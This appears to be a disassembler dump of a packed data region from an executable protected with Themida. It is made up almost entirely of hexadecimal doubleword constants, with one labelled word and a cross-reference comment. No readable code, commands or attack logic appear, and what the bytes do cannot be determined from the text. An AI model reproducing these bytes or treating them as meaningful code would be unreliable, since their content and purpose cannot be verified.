dd 0C036CD56h, 7E7C714Eh, 0F1E9180Bh, 6F0AF46Ch, 13B35B26h
dd 18BE2848h, 0EB51AAF6h, 16107714h, 10FB2977h, 8A4E0815h
dd 0FD051DC0h, 0E9564581h, 0D9925B74h, 0CA33AA36h, 81A2CB57h
dd 8020589Bh, 4DD803CFh, 0CCE97821h, 38B2BBC4h, 0BC20E748h
dd 9AF80127h, 66C57D74h, 0F945E985h, 6AA1E2BCh, 0ADBA04EDh
dd 0C0A893B7h, 0EFE2E90Ch, 35005D1Eh, 3C456F5Eh, 9758C731h
dd 0F89FAAD8h, 6E00194h, 64E97B38h, 9FDB821Ch, 7D134065h
dd 4F60E4D9h, 9035223Bh, 66E50FFBh, 0E7815A6Fh, 0FA935F65h
dd 0C6E3D18Eh, 0C394616Ch, 0CBE9C924h, 0B085434Eh, 0F77C0987h
dd 0CBA1DC27h, 45E9F4E3h, 10EF2A35h, 5A0408B2h, 0AD1E3A68h
dd 80E9A023h, 0B96DBE0Ch, 4B7A805Ch, 387CF108h, 0B32D0D7Bh
dd 0FB2B1017h, 0FC316976h, 95659F7Fh, 9799FA2Dh, 0D16B9DFBh
dd 0C47E4B4Eh, 3AD16885h, 0E92D2CEBh, 23090F4Fh, 0A18BDD58h
dd 553BBAD7h, 0EB8914D1h, 0A43B79D1h, 0F54142FBh, 68E1EAF6h
dd 57C21A9Bh, 5CC5F271h, 7618A4AEh, 9159F140h, 0E55569CDh
dd 34CFACEFh, 0DA37A829h, 3CBA7F0Ch, 90C5B55h, 0EA7DE63Eh
dd 8217C22h, 1526A79Dh, 0D9AD6B0Bh, 2C3FE2F6h, 1FCF609h
dd 0B705D425h, 68118575h, 0AC457837h, 2B8D4067h, 0C833B941h
dd 0F300D532h, 47CC111Dh, 0DF7F2958h, 0D195BEE2h, 0BCA66F1Eh
dd 2800751Dh, 8118F706h, 3B6F8420h, 3B700BD0h, 332E7F21h
dd 47C70B38h, 0C5825593h, 0E830EEC0h, 960C8B27h, 41EE98E4h
dd 596822Dh, 0F8B866B5h, 0BB530FCFh, 0F217339h, 2A611D68h
dd 471B5B30h, 26786065h, 998519Eh, 81FEE925h, 0C0835EFFh
dd 581E8B3Fh, 848EC4BAh, 4F4335E4h, 0F822C96Ah, 48C2C3AAh
dd 4C6DD768h, 163B005Eh, 8C3513C5h, 1227DC19h, 8DB5931h
dd 18859E05h, 17EAC94Ah, 4090BBA0h, 97FA36B1h, 0A827805Dh
dd 2F28ED48h, 7E704E5Eh, 36E41097h, 30A0248Eh, 545018CAh
dd 0A2127CBBh, 30C4AFADh, 0D082C8C5h, 0EF88027Bh, 5A588B7Eh
dd 0E8514E66h, 90EE961Ch, 0F23FD602h, 75DF6817h, 0EA783FB3h
dd 6903B1FDh, 0A1A2A0C8h, 28254BBAh, 4018F7D8h, 466E5B2h
dd 7678D0B0h, 0E7F2B5B5h, 0C6975AF0h, 3F68F452h, 0D75C5D61h
dd 0E36CE884h, 62DF2D7Bh, 5CF657D0h, 0BC899FCEh, 60107CC5h
dd 48E842EEh, 1473E0D6h, 0E91B12F3h, 5EA9C221h, 3E06E460h
dd 0EFBA8A7Fh, 54D409Dh, 0E74B1EF2h, 2DE80A7Ah, 0EE793407h
dd 0E316512Ch, 5165323Bh, 801BF155h, 5D990AB4h, 2E5B34E9h
dd 878539F3h, 0C04EA814h, 3EF6B9Fh, 62A7A2C1h, 950CF20Ch
dd 6E0060D8h, 0BF5B3C20h, 2F7B49E1h, 0CC763138h, 0E4480959h
dd 88D325E9h, 3B275EC6h, 0D61A87BEh, 0EEEAF2h, 5259CC88h
dd 2E8EB63Bh, 0E5011CF5h, 40C38058h, 0E13DEBCCh, 831075CFh
dd 51F0E9D8h, 0E2C22EB7h, 0FE4E0Bh, 748B3C90h, 0F29A82B7h
dd 89EC55B8h, 0BE84B282h, 66B691DAh, 0C4883837h, 62940FD2h
dd 46F90BFh, 171CED80h, 888B5253h, 480E75EBh, 965AD3A6h
dd 0E9DDC4C2h, 8774D4A7h, 0E40CCCC6h, 48908E11h, 0BF6584E8h
dd 0BAED8304h, 0B4F5EFA8h, 3A130E33h, 23090ABBh, 304166B4h
dd 0BA78B3CCh, 662821ABh, 391E8B27h, 82250129h, 0F58BDC81h
dd 6C381918h, 0B965882h, 648C080Eh, 5F50985h, 0D21AE907h
dd 0B5615883h, 0F709C221h, 0D9F79D02h, 59108560h, 4D2024B2h
dd 0E07BDB3h, 0AA692468h, 705DCA98h, 32FC951Eh, 2A7F46Fh
dd 43576205h, 16627534h, 0E95A0700h, 0C2E1A86Eh, 20D22AFCh
dd 90D4EB91h, 535D3B19h, 0AC0F7F82h, 0D0765B47h, 642E300h
dd 9C1221Fh, 0E4E905EBh, 9FC0C142h, 6A2FF9CFh, 57B7EA2h
dd 611EDDh, 485FF8A1h, 0E476C92Dh, 58492CF7h, 96C5E43Dh
dd 0F3F2D0AAh, 412E52FBh, 1125B63h, 0BAF0ADBCh, 3D167DA8h
dd 0EFB421Eh, 957C4696h, 0BD16DBE7h, 0E50EEC33h, 229A90ABh
dd 4D5C2028h, 6C0878EEh, 1236Bh, 19D3BE56h, 499030AAh
dd 3B7DA35Ch, 5ECE020Ah, 60692973h, 130D1F4Ah, 0EE3176CDh
dd 5C25C409h, 0C75B2D96h, 93A7E84Bh, 4CF58261h, 0FB685FE5h
dd 42E9E304h, 8F27C3A1h, 7D0AA907h, 2BE9E007h, 372CB843h
dd 0FE2D3B83h, 2F5A40F5h, 0EAED1ECFh, 7BE0A09Bh, 5304F641h
dd 4559CD89h, 407BF2EBh, 5CB260C1h, 37F9D61Fh, 25DD0148h
dd 68AF307Dh, 0BC654A34h, 6098F601h, 30BF5475h, 0F5A310Bh
dd 0B440D7BCh, 9047E11h, 9AFCE92Eh, 0C3F6CE6Eh, 912B4241h
dd 3E7C46F7h, 0D048D5CBh, 0DDEE4C5Eh, 0A3127DCAh, 93F88C98h
dd 23B95101h, 3B63701Dh, 6CFC991h, 0DAFC42A5h, 23A90E47h
dd 0E1C6E73Bh, 0D1DB79D5h, 5D93EA0h, 12580270h, 43182014h
dd 93A8E968h, 98D1FD3Bh, 0C643B439h, 0AFC81E08h, 0F106DFE1h
dd 97F80916h, 13A3D50Eh, 50A93010h, 819C137Ch, 4E2C5907h
dd 0B2807CE2h, 0CE5CFBh, 0B179C4B8h, 9F092557h, 0F72AB061h
dd 0D1039310h, 3B0B61E7h, 26E9E617h, 25902E9Dh, 0FC7E73E2h
dd 7BEA6805h, 853C0CE3h, 0FC4C3918h, 3A040609h, 2FACE944h
dd 0B8C224BEh, 769C0196h, 98BD35A3h, 0E05E0BAFh, 79612209h
dd 59548918h, 61E955B1h, 64242B18h, 2CC9B4FAh, 0A16B7141h
dd 0E83840F0h, 3E5AFA68h, 0E050D31h, 0AE921722h, 5BDF1ECDh
dd 0E828ECE5h, 78B225BBh, 60CB3FC0h, 44C41B17h, 0E2B1E3ECh
dd 0EE7A6477h, 6B3DF39Dh, 0E587B7Ch, 83C082BFh, 3FC98A56h
dd 4D8104EFh, 334BC347h, 0D0B7C878h, 1388356Dh, 20CF7695h
dd 7AFB9F08h, 33506E0Bh, 5E1FF2BFh, 0A60A6ED0h, 36B6A6FAh
dd 73B788C4h, 5586290h, 72ECDC56h, 270B71BEh, 2EDC7772h
dd 0FE310D31h, 56165772h, 5004F27Ch, 59139CBEh, 0E9F875C7h
dd 41881869h, 0A522300Bh, 0E5902967h, 71C6F920h, 0FD68135Eh
dd 0C4AACC6Ah, 9BDB140h, 4C2CA66Fh, 0D104185Eh, 0FD804DEDh
dd 5B447591h, 21298D64h, 77E360B3h, 9637585Eh, 0A616D92h
dd 0B1CA0B8Ch, 0A022E745h, 588FFD4Dh, 56F92E9Bh, 9930FB3Eh
dd 0E7C11679h, 76109806h, 683A2F82h, 16B7F250h, 76284859h
dd 0EA6FB684h, 9450F6F7h, 0AC560270h, 6007E908h, 72A4B800h
dd 247C4A1Ah, 6A4086A8h, 730936A4h, 51AA15Dh, 0CDBFCBEAh
dd 0D2616B6Fh, 0C5545EF1h, 166AA3BEh, 74CA56E6h, 44E15A7Ch
dd 4C4E021Bh, 3192AB34h, 868A7719h, 4CF3106Dh, 0F2D7581Bh
dd 0B2D5D927h, 0E94402F8h, 1504DFB5h, 0B0F2BA54h, 238BAED2h
dd 9458D852h, 0F3CA7F3Bh, 0BE0FB061h, 7170B7C8h, 2D9CF034h
dd 49EFA856h, 6C0050B2h, 5ADF1999h, 4014F89Fh, 0BB9E0829h
dd 27957C9h, 510919A0h, 0B0746968h, 82961B19h, 7267C400h
dd 81023AAAh, 0A6631FE6h, 2CECDC35h, 29F20328h, 0F6F82E78h
dd 3A301F16h, 8D24CE50h, 0BE2EF7BCh, 0C0EA3D05h, 0C5F72393h
dd 5DFBD509h, 0E90540F3h, 0DCBFD350h, 654E01DAh, 3B272DF6h
dd 0F0E935C3h, 64493F2Dh
dd 0BC6EFA05h, 638289D4h, 6320B5ABh, 43B95551h, 7207FB4h
dd 9D46E697h, 0A1698ED6h, 18E9571Dh, 0B313057Fh, 140CB6D6h
dd 8095A9FAh, 143049EEh, 80DE4EF7h, 4A534B2Dh, 0D8AFE919h
dd 43FDBB26h, 9F7DF20h, 1EB83DBh, 4E018657h, 6E042551h
dd 6A8A11FFh, 0B59EF46Bh, 2ECDD051h, 31B78F02h, 7DD0C030h
dd 0E28180F7h, 5766EA12h, 12C2E805h, 0BDCF0FE8h, 865C4A65h
dd 0E918E4EEh, 0AC388426h, 8FB20452h, 0AC08E2C0h, 54CB13DEh
dd 1F06337h, 0B59723E9h, 5283FE67h, 2D654E9h, 4C0CED89h
dd 71680689h, 330162D1h, 0E9E831B9h, 2981C9DAh, 554DDEC1h
dd 612F6001h, 81791B58h, 51EA2FCEh, 997CE87Fh, 6464A622h
dd 0F37197C4h, 2C06D8AFh, 623014F7h, 5306BF99h, 84B95B9Ch
dd 40F3AFB7h, 0FAE05525h, 0D9BD2158h, 906861A7h, 0D2DA2857h
dd 31C8C1BEh, 41C26D7h, 98E9FE29h, 69AF3CD5h, 0DF763F01h
dd 2768F8D1h, 0B8744B28h, 0D3E2287Ah, 8088150Bh, 0E9C8FE34h
dd 88E65470h, 5F71469Bh, 0A9BB37FBh, 0DABA24ECh, 45B92C40h
dd 8417F951h, 78E4C7C1h, 12BBA585h, 6761BC49h, 0CAF00506h
dd 48E86562h, 2D387B64h, 0AA4B9212h, 167EED90h, 0C0A60C6h
dd 0DA191406h, 4E41F9B0h, 1EEEBF40h, 60AB2664h, 222A0522h
dd 8AFD47EAh, 0C5A9651h, 0EF421D05h, 0D0EA4E6Fh, 0CF716890h
dd 4CF2C25Ah, 4F211048h, 2A89539Fh, 0BF947FA5h, 333C5D95h
dd 10358081h, 3B1C52CAh, 0F2005EA0h, 2CE08E53h, 13138F05h
dd 55842039h, 46060713h, 98878067h, 5112041h, 28575897h
dd 4839012Dh, 9A10A6E8h, 7BB95B14h, 54721C74h, 0B458BB1Bh
dd 70DC1A02h, 0B077CE31h, 61F7DE03h, 2CE908D3h, 13C429BFh
dd 4E2DFEEh, 68925638h, 0E95E60D1h, 2A9F21CEh, 0B08F2A2h
dd 0CEB6606Fh, 74BD62B3h, 0AEE98C75h, 0C49F58D5h, 0DFA68AEFh
dd 33988F10h, 817F5506h, 2D0D94EBh, 994828E9h, 0A31E60F2h
dd 0C5C8CA3Bh, 5498203Ch, 0BF5881F4h, 89270F5Ch, 0BE715DBFh
dd 1C6B7A43h, 98F0881Ch, 63688501h, 0B2E92C4Fh, 599D0CB6h
dd 0F0E02DDAh, 6880121Ch, 0B3495FD9h, 78751AFBh, 0FF625D1Bh
dd 25A45B5Dh, 0ADBB315Dh, 4BC65828h, 0C179F39Bh, 626B1113h
dd 66C18FAh, 8B4F6FE9h, 4075D58Ch, 49076889h, 5B8DEC5Ch
dd 5D3635B2h, 787C5720h, 409F194Ah, 2F7E012Ch, 0ACC30FFBh
dd 0E38D1209h, 556B0BB7h, 6703C9C0h, 84277E33h, 3BBCC12Eh
dd 6FA4A16Eh, 9CD16FC3h, 54AFCC3h, 0C0B8B264h, 0FABC94EAh
dd 2951FAB2h, 0E83A6AF5h, 1434A26Fh, 0E934C642h, 526992DEh
dd 0ADBFF57Bh, 62898BCFh, 0D9807FB9h, 8330013Eh, 2BF3C274h
dd 0DA2740E9h, 0B21B10F5h, 0C16FC014h, 6C32276Bh, 0FCFAA490h
dd 0D747C9B5h, 0BC2AEAC9h, 0E3119B97h, 19EFC881h, 20FCB8F1h
dd 293077B9h, 235EBEC6h, 58262692h, 148D0258h, 5AFE2ABAh
dd 4E0789BDh, 0B1C46018h, 0A1145FECh, 5AAA30B0h, 485E307Ah
dd 0F54AB4ECh, 0CE0B0570h, 2C11713h, 0C9321E2h, 0C7234659h
dd 41D00609h, 1291FC80h, 0EE50C53Fh, 9D13CF9Eh, 0D638EE4Eh
dd 41AF638Eh, 0B80759CAh, 465B1B65h, 0AD4015E5h, 855C53BBh
dd 0BA3EF479h, 0BE295B0Dh, 4FC0E57h, 40780412h, 3CFAF173h
dd 93F67B1Eh, 53393AE9h, 493E7521h, 8B5DE4BCh, 908478BEh
dd 2BC402C4h, 0F5293880h, 80114E2h, 758294E9h, 69769E83h
dd 13BD54B0h, 0ECB2178Dh, 2565FF31h, 2718C82h, 0AB7DBF57h
dd 0B963FD38h, 6278B7FAh, 5C50998Ch, 0A64E731Eh, 0D19009D7h
dd 98891346h, 0FBEF30CEh, 2FF0F7F1h, 0D2F17B25h, 12054A1Dh
dd 6B65EBE6h, 0AA54E304h, 0D909EE12h, 0E76DA962h, 0CC0F0DA5h
dd 0EADDDA1Fh, 6BDAD9DFh, 2FE5C455h, 89D1204Ch, 0F133AC42h
dd 9B18890Eh, 0D397B4FEh, 0BA2666A8h, 5C5D52B2h, 61F950BBh
dd 9878989Dh, 0FAE1C94Dh, 29DE400Bh, 3C1C1BA5h, 0EA8450A0h
dd 0A919AB42h, 31D11052h, 21135D3Bh, 17CBEAA2h, 0BAEB314Ah
dd 16A804B3h, 1CBC9510h, 6885EB80h, 39455A15h, 0F0C1A4B5h
dd 976C39F0h, 91D8099Eh, 50CC9EDFh, 2FE93750h, 0EF516AC6h
dd 9E7A9B87h, 0BD19786Ch, 80B590C6h, 5908A916h, 280CC158h
dd 2F536D21h, 0E9540620h, 0B2BBEAFh, 1C1CCF01h, 2EA6204Bh
dd 7AB2680Ch, 854731Dh, 0A29720E6h, 76589CE3h, 91C16F15h
dd 2B5ED223h, 13A85FA0h, 1278D92Dh, 0E525055Eh, 8FAAC020h
dd 4D09471Eh, 0F7718AE9h, 3FC13EE9h, 2CFB7F94h, 6482CDDh
dd 0FA6AA62Dh, 8C9A5B45h, 7338EFCFh, 0EA86EF0Fh, 0EEAAB897h
dd 9A04EC90h, 0EA819FD2h, 0C505AFBh, 325C2D7Dh, 94F8C954h
dd 64BC5002h, 0DE6BF287h, 0F7F0AAA5h, 3E23FCE2h, 83DA347Ch
dd 918454C3h, 80F6EE54h, 1102D44h, 5029071Dh, 338BF0h
dd 8150137Ch, 744580E6h, 30C5E60h, 9F082C4Eh, 0D42587D1h
dd 382EB4h, 39A06910h, 6812CE01h, 46F80359h, 24F015CAh
dd 5D050848h, 9753BC39h, 0BFE97A2Bh, 0E357A202h, 71C2897Dh
dd 0EF24E971h, 0B18C1513h, 8A955ED6h, 0E2D4DC6Ah, 41AB5B97h
dd 0B7279FBEh, 0A0A96E28h, 8225583Bh, 620B8EA2h, 25BA475Fh
dd 0E95A147Ch, 0F26F667Fh, 0E0C23B30h, 47DEF29Dh, 0AC6C4A2Ah
dd 9CFE4B26h, 0E9135737h, 2EDADF1h, 0FB4E5B58h, 0C094CD68h
dd 0B5515A5Dh, 0DD00F657h, 0B753CDFEh, 0BFFD28D4h, 0E9E2C171h
dd 5CCCE96Eh, 0D302642Ah, 5B4F6780h, 0C5CDECB1h, 0B704A7E8h
dd 24F618EEh, 7F2AE469h, 0BCD17184h, 545FA2C4h, 15485BDFh
dd 86691352h, 0EF7261BFh, 9C397F3Eh, 0D64C452Fh, 0B331572Dh
dd 0F95F79B0h, 598C7AF8h, 554A5D69h, 4B812AEEh, 0CA8E3DE9h
dd 0CE77AAF3h, 74A0B2h, 5FF4DD2Dh, 0FF31352Dh, 8BA37A10h
dd 0E13DD4B5h, 0CA685257h, 24A72363h, 3BF1E19Fh, 5D42DA3h
dd 803A8335h, 2A2C68FFh, 5B361C17h, 56CC09FEh, 0B718445Fh
dd 0DE29F6E0h, 8FF0874Ah, 48861CEBh, 0F0531D73h, 663714DEh
dd 0A120D890h, 0FE5F83Ch, 63857CBFh, 0A5ACFE65h, 0A094DF05h
dd 0D81328E1h, 6D1E604h, 680071B2h, 539521F8h, 6D6841A8h
dd 51DDC25Dh, 73A7C2C0h, 29717C6h, 55DED0DEh, 918BF6E7h
dd 5BB0FE5Ch, 81B1E4E9h, 3052C237h, 0C9C28A1h, 0AD7B4963h
dd 0E32710D6h, 6122090Ch, 0F281465Eh, 0E607792Ah, 0C71448F7h
dd 67BAB5D3h, 2D812DF1h, 30857E2Ah, 13FF12Ah, 8B875A07h
dd 7FD9EC8Dh, 4295226Ch, 0C66E5571h, 74C8312Fh, 30C07A7Ah
dd 5391435Eh, 0C4370D03h, 42CD8A01h, 2FD2FC1Fh, 221C327Dh
dd 90741D0h, 0E357DB57h, 122AAEC1h, 370BDE53h, 0C8673D10h
dd 807382E5h, 0F15B0158h, 0EBD2BEA2h, 66AC8F57h, 98C5E90Ch
dd 0EA48D19Ah, 0AF9D7171h, 0B1C4DC5Ch, 0C0BB6FEBh, 43226840h
dd 0FC0B989Dh, 28FB3E26h, 604B7396h, 0AF13FA16h, 34E83E5Fh
dd 294A5581h, 5434607Ch, 0F1090DDEh, 41007D5Eh, 0E9E3DBB7h
dd 68975FFAh, 17873B8h, 82B8536Ah, 6096F998h, 814FE970h
dd 315D4D81h, 0F7170B2Bh, 0ABFDDC6Bh, 0DD1632E2h, 5E35A263h
dd 0D2640FEAh, 0F468C73h, 0F250A55Fh, 14E95A8Eh, 1744D1C4h
dd 974B1044h, 0A02DFA10h, 0B9014209h, 6A0C8BCBh, 0E9C2ABA7h
dd 0A5207FDh, 2DF42A20h, 0B374E889h, 48B9803Dh, 1325A0Ah
dd 6805B1D9h, 13F505CEh, 0EAF209ECh, 829CA95Dh, 7FB048CEh
dd 81D83099h, 1B2D4004h, 89C85C3Ch, 565824C2h, 0E5E90EB2h
dd 0EEC080F8h, 0BD800439h
dd 1BD593F7h, 9825F9FDh, 559DB1D8h, 6B900C1Eh, 0FEF5B495h
dd 8190968h, 0E8D76292h, 1EF8B9F8h, 9318910Bh, 39C4B978h
dd 16C825D9h, 30FA301Ch, 209EC161h, 0A50D6C3Dh, 770F2B60h
dd 0BED72284h, 338F5DB3h, 82513752h, 16FF7BDBh, 0B5039281h
dd 96653279h, 6C099556h, 0C81AFF50h, 0A734CD57h, 822528FBh
dd 5B6B4C48h, 1A75A59Dh, 3D152B1h, 5172EF80h, 0F1B019B1h
dd 0CF1208C9h, 42E0F3E9h, 0F047715Fh, 9B264813h, 0FD035380h
dd 0CA984E67h, 2FCB200h, 0E9F30198h, 5180B708h, 0F7300AB6h
dd 885A6617h, 200E82FEh, 0ECA363F5h, 3FD6B5EEh, 0BB4A6EA3h
dd 2EDA2B45h, 3AE7C740h, 0EC313605h, 6E9C13EFh, 0CDBFE035h
dd 2793D609h, 3318C021h, 0F305803Dh, 5D6C5C02h, 5E5930FFh
dd 648252F1h, 0D00B9BBAh, 4EF9F14Bh, 0ACA5886Bh, 18BB8C40h
dd 8A605CB4h, 550E82CBh, 0CCE94C63h, 0B8432034h, 7699047Dh
dd 0FF312193h, 92C5A300h, 0A0348337h, 3E7B3298h, 0E6027D4Ch
dd 786042E7h, 86EE9E80h, 775BC604h, 608323E4h, 0DDEDF789h
dd 164B342Ch, 32845EBDh, 0C2661887h, 590D2C80h, 73520953h
dd 4E6E4ED5h, 1E4AEF2Ah, 11EBB95h, 47E464D7h, 0C58591CBh
dd 7B6E8F0h, 0DC3049B3h, 58F03C94h, 2C5202B8h, 0E8C11979h
dd 20BA93C0h, 298A6F18h, 0C1B4890h, 0EA833CEEh, 0CE01F276h
dd 0E96CAE0Dh, 0B83B6A2Eh, 0CACFC4A0h, 44856800h, 30F414A7h
dd 0A68B7958h, 664C18BEh, 0BDF1AA1Ah, 459FCA02h, 0D55EEE68h
dd 4DBABB1Bh, 128A5E29h, 0F1290DCEh, 829404EAh, 0A7D58B37h
dd 8D74D7B4h, 0F5683ED1h, 1C3E617Ah, 87288BD8h, 0E98AD0CAh
dd 0C4205FECh, 0B4418E31h, 99453EAh, 2A6851E0h, 0BC8DB16Bh
dd 0C1D8CC2Dh, 71525825h, 0F74F62D3h, 69095D73h, 10B17F3Fh
dd 4EAE2A13h, 79E4FE8Fh, 104AB6Ch, 9110AE7Eh, 0FD4F950Fh
dd 0CCD2688Fh, 42138FB2h, 3C715938h, 0A8055E6h, 0C09FCB80h
dd 0F3EC03EBh, 0DE08E80Bh, 3103D55Bh, 0F6D902E6h, 5AF0C3BDh
dd 0AD98C328h, 0BF50F095h, 554245Eh, 5768EA29h, 1E7B2110h
dd 2FF5298Ah, 7908DE1Ch, 87887E02h, 72BC65D7h, 0D0E81E40h
dd 0E0680BF5h, 0C01FB21Bh, 0B54A4B7Ch, 0A88E4EA5h, 33BE0275h
dd 42533127h, 0FC90FDBBh, 162E6787h, 142D1B01h, 0E1B9A0C4h
dd 0E61912A4h, 0F4A0077h, 92274F4h, 0B2252BFh, 7B7F1DADh
dd 3D053981h
db 0A0h, 0FEh
word_4A3AF6 dw 84EAh ; DATA XREF: Themida_:004F9134o
dd 0D838A6D0h, 0E3A85B52h, 0F94B3AB9h, 970146D9h, 912216F5h
dd 42916F3h, 0E98E3FB9h, 75AE9242h, 0FFE78581h, 0E0250EE6h
dd 0E7BEE200h, 0E8E1D727h, 9FDD373Dh, 0A8EF3A82h, 2D145E85h
dd 64E9205Eh, 0AAC12EA5h, 68666089h, 469446EFh, 52F6B781h
dd 782070B6h, 0DD78AAA5h, 6FB9CD60h, 79A8E991h, 98BE0F20h
dd 8ACA2F0Bh, 16BD5A5Ah, 0B7E5E62Eh, 93806E9Ah, 559F4CD7h
dd 49D9F714h, 63BB0BE2h, 800204ECh, 0BF49B8BCh, 7C172A10h
dd 185EF235h, 4D1880BFh, 485B0F1Fh, 12BBB625h, 86C6ACC3h
dd 8299F888h, 0FEDBC1ACh, 5A2D3068h, 0F2DF8355h, 3C17A8BBh
dd 0E9D30931h, 8B10AD6Dh, 681C2D5Dh, 5C16C49h, 4DF03E69h
dd 782102Ah, 1206F441h, 995A711Ah, 6326C223h, 7167E4A1h
dd 2D14013Ah, 554DF510h, 0D84C6A25h, 5C3F0096h, 2E4BB8EAh
dd 2D4ACB40h, 428AB2E8h, 0BD5B9DBDh, 0C0D19334h, 0D9F5CB6Fh
dd 0BF4AF297h, 0A739B2D1h, 669E4821h, 0F3BF8053h, 3FFBFC05h
dd 0D481FD31h, 0C86E98D5h, 90400C5Ch, 772D02BDh, 0EA311DC1h
dd 0DC52D1D6h, 0C052C4BDh, 59611D25h, 0C0BE5A02h, 0D085AE86h
dd 0B8019F37h, 232C5868h, 0C65B2585h, 0EB810229h, 69DA31B3h
dd 0B867157h, 6424AE9h, 0E22F71DDh, 987F9CF2h, 162DEDB7h
dd 1F1B994Fh, 6D408CF8h, 0B77EC662h, 5CFF5F4Ah, 4B93C1CBh
dd 0A5290333h, 0C0E0633Ch, 9FF29CF1h, 0E2715FE8h, 0C9CBF69Fh
dd 279DD05Dh, 1A95639h, 0E1914B75h, 8B3F98AEh, 0B4724B53h
dd 5AFFDDh, 5CC18839h, 9A8BE503h, 0ACEB5E7Dh, 41D2133Fh
dd 4E7B02E7h, 0EA0D12D1h, 27518FB4h, 7E59B5h, 3D77C308h
dd 64F7BB8Fh, 245C29E1h, 12FC3202h, 324910E9h, 834E7D33h
dd 2A6040FEh, 3E1C00Ah, 80C909FEh, 0E557EC1h, 0BE072E8h
dd 0AD8D9E0h, 2CFE2E5Dh, 565A68C6h, 69AAB316h, 1A2339A0h
dd 4147CE97h, 447A9810h, 420D0A23h, 7754242Ch, 0BF7F1930h
dd 0ACC5C8B7h, 776B9FA3h, 0FDC425EBh, 78874B83h, 0AC6B6509h
dd 624E8267h, 3DC030C5h, 200B54EBh, 2436A4Dh, 9C4127Bh
dd 0FDE6EE77h, 0C821CC9h, 53846855h, 3839C71h, 1A25DA0Ah
dd 45FB159Ch, 0CBDCE17Fh, 0A9DD55A7h, 0CFFF9E3h, 0C1A9757Bh
dd 510E440Fh, 25BA6B12h, 0FEE22DDEh, 17CDA297h, 89B022E9h
dd 3D4C17B9h, 0A0A50605h, 0AD785CDDh, 8C6F2102h, 42D80169h
dd 550800A1h, 2612DCBDh, 0B9365953h, 2085F0A6h, 0A68B70Bh
dd 13B48FB5h, 0F22AEB82h, 2DE55633h, 17E889C0h, 0EBE9B0BFh
dd 0E37FE189h, 825489A8h, 0FC211F1Fh, 29A77074h, 9515CE95h
dd 0A9087A5Bh, 0B6311B7Eh, 0E453C2DAh, 54626E09h, 7ECA4D93h
dd 0F03F4FFCh, 21852E93h, 630FBDh, 5CADBB53h, 0F9408637h
dd 0D5501213h, 0FE0E010Ah, 9756FC3Ah, 4EE43778h, 0CC795B70h
dd 0DE5CED4Ch, 0F510DAD6h, 11C4D1F0h, 916C90Ch, 308251EDh
dd 85F7D2B7h, 57BC14E5h, 0C2DBE25Bh, 0FE1C4721h, 50E9C132h
dd 13E2D5Bh, 0A7325952h, 29BCCB89h, 80612E7Bh, 533EC1D8h
dd 19E9DBBEh, 81CE5088h, 5C4C7BEFh, 5FFE1E18h, 0FA3E706Fh
dd 41AB3E05h, 32172D0Dh, 1E4E2018h, 0C8BCC254h, 7A0548B5h
dd 0E7F082A9h, 68B0351Eh, 0E439F4C9h, 0ED803D64h, 0FAEF5173h
dd 0B6F634CFh, 0F962B10Ch, 41AB2A0Bh, 0C5367C26h, 11F8DB72h
dd 0DC250FE1h, 2D7E5329h, 6C020FD4h, 7C12BB7Dh, 5DCFC2C3h
dd 0D0088308h, 0A2CB3C43h, 0E2683781h, 2DEDDF0Bh, 0B50B710h
dd 561A38EDh, 77F38180h, 0E915B070h, 5CEEA49h, 94C5805Ah
dd 0D13E5FC2h, 80329F7h, 226A9D0h, 0B140F55Ah, 503D0F7h
dd 298836CEh, 0AA60A825h, 8EE91C4Bh, 0B05D2D1Dh, 4EED6810h
dd 888C8C56h, 0B90B9Fh, 9445C1BFh, 2EFA7CDDh, 4B81556Bh
dd 4233A800h, 85A31B6Ah, 6C0112BEh, 0E923D06Fh, 987B2D5Eh
dd 0BC4BEB48h, 0C128CBBh, 0C0B0DBBAh, 49A1A449h, 0F5C81E8h
dd 0B23EC8B7h, 1F7EC4A4h, 36B90013h, 4753A411h, 7194F0A0h
dd 0C018C22Fh, 4AC9E9FBh, 56D8AE86h, 18F39A82h, 150A8F68h
dd 659CE815h, 46C201E4h, 95E9441Bh, 937BCD52h, 0FAB4A7E0h
dd 4EC02E93h, 1E35CF81h, 0CE47FD7Dh, 0EF12122Fh, 59558198h
dd 0F10431DCh, 0BA5CF968h, 598BE171h, 1E96E17h, 0A2B745D0h
dd 0A84DD5h, 28B7685Fh, 576A999Fh, 0C07E9D30h, 40D3EDC9h
dd 4AD2F921h, 0BAEC617h, 8031FD96h, 0C9852B5Fh, 0DE5A07ABh
dd 5F0E7431h, 665A2B85h, 5C51A4AFh, 365237DEh, 76B88DB0h
dd 751F098h, 7D411325h, 71325105h, 0CAA13A73h, 484375F0h
dd 42040A7Eh, 0FF4A821Fh, 0CEE93003h, 98467E90h, 0D6050714h
dd 8F663749h, 3B1D03CDh, 0B21554A4h, 0D86816EFh, 1827F361h
dd 0AD1BC136h, 51A8A63Eh, 132F9854h, 0C7B7AE16h, 685F89C9h
dd 0CAF111F0h, 0BF05D52h, 0AC22CBC8h, 0F9D658BDh, 41401E6Ch
dd 857DF677h, 0A2BB50D2h, 0C88914F0h, 0B99B7DBBh, 0C912DBA5h
dd 3B594054h, 0C57CB875h, 2D3E68B0h, 5B3A6695h, 0D2FCA35Fh
dd 44EBD213h, 92F2E901h, 89965928h, 83EB47FEh, 1CD4BB1Eh
dd 0DA942CE5h, 7AC8722Bh, 6B027F19h, 3968D301h, 0BF49A06Fh
dd 6ABA6280h, 948986Ch, 990075DCh, 50152C8Eh, 101FDF90h
dd 0E945E2D4h, 0C152DA54h, 6B72DDBEh, 10C4B3A2h, 9DBA1236h
dd 0E901E696h, 9862D065h, 0B21C184Ch, 0BED312FEh, 500454F6h
dd 8C6EA068h, 575FB131h, 0C7FFCEC7h, 23491D04h, 8633B0BAh
dd 4584A50h, 12A0466Ah, 131B9D9h, 0B0291224h, 4A67F0D7h
dd 0FB56566Eh, 902D6F04h, 0C83B4B04h, 5B58FD2Dh, 685AC1E4h
dd 0F3894CDDh, 3B6891C4h, 0AA58537Bh, 5D121050h, 90CBA00h
dd 0EA811A4Eh, 0D7798301h, 752AE948h, 2EC0DD3Ah, 4D2D55E2h
dd 883294D5h, 245055E0h, 26F19B7h, 6E9E5230h, 6F0D11C0h
dd 0E90F1404h, 9CBF3DFCh, 0F9D08E6Dh, 0EE8102C3h, 0E1FB5C05h
dd 1BFE9052h, 81D7A0C1h, 922E2D0Eh, 0F02A28CCh, 4F404982h
dd 0BB660E53h, 0C9A7495h, 0D25A9AC0h, 0EEB1FCBDh, 0E7E2BB72h
dd 0FB6DE985h, 0A7BAB812h, 0BF31C4E9h, 461B1412h, 5F202B31h
